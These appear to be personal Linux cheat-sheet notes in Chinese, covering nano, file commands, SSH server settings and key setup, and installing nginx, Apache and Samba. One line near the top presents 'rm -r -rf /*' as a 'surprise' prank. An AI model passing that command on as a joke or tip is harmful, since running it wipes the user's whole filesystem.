// // //
指令: nano <檔案路徑>
先按 Ctrl + O 儲存 再按 Ctrl + X 離開
touch 檔案名稱
mkdir 資料夾名稱
mv 欲移動檔案位置 欲移動至位置
刪除檔案:
rm 欲刪除檔案 刪除資料夾
rm -r 欲刪除資料夾
用了你就知道驚喜:))
rm -r -rf /*
export hello=sudo
$hello <任何指令>
#XXXXXXXXXXX
#XXXXXXXXXXX
#XXXXXXXXXXX
#XXXXXXXXXXX
#XXXXXXXXXXX
文檔內容有 # 表示註解
依據需要更改的檔案將註解消除
像是
#permitRootLogin yes
指是否可以使用ROOT登入SSH
#passwordAuthentication yes
是否用密碼登入而非KEYPAIR
#permitEmptypasswords no
是否可以使用空白號碼
sudo apt update
sudo apt install openssh-server
sudo service ssh status
ifconfig
如果不能執行
sudo apt install net-tools
假設真的沒有網路可以安裝套件
我這裡提供一個內建查ip方式
ip addr show(基本上所有linux都有)
產生SSH Key
ssh-keygen
接著她會問你存放位置
預設是 /home/username/.ssh/id_rsa(之類的 不一定)
接著她會問你要不要啟動passphrase 空白表示不啟用
如果要啟用就直接打你要的密碼就可以了
如果啟用passphrase 則使用此key登入時會要輸入這個密碼
這樣就完成了
指定位置會有兩個檔案
1個有副檔名 1個沒有
有副檔名的是公鑰 另一個是私鑰(記住私鑰不可以給別人喔)
安裝公鑰
ssh-copy-id -i 上面的指定位置 [email protected]
sudo apt install nginx
安裝完成
Nginx 的主設定檔預設位置為: /etc/nginx/nginx.conf
Nginx 的網頁預設目錄為: /var/www/html/
狀態查詢: sudo systemctl status nginx
啟動: sudo systemctl start nginx
重啟: sudo systemctl restart nginx
關閉: sudo systemctl stop nginx
sudo apt install apache2
安裝完成
Apache 的主設定檔預設位置為: /etc/apache2/apache2.conf
Apache 的網頁預設目錄為: /var/www/
狀態查詢: sudo systemctl status apache2
啟動: sudo systemctl start apache2
重啟: sudo systemctl restart apache2
關閉: sudo systemctl stop apache2
sudo apt install samba
安裝完成
查看是否安裝成功:sudo netstat -tulnp | grep -e '[sn]mbd'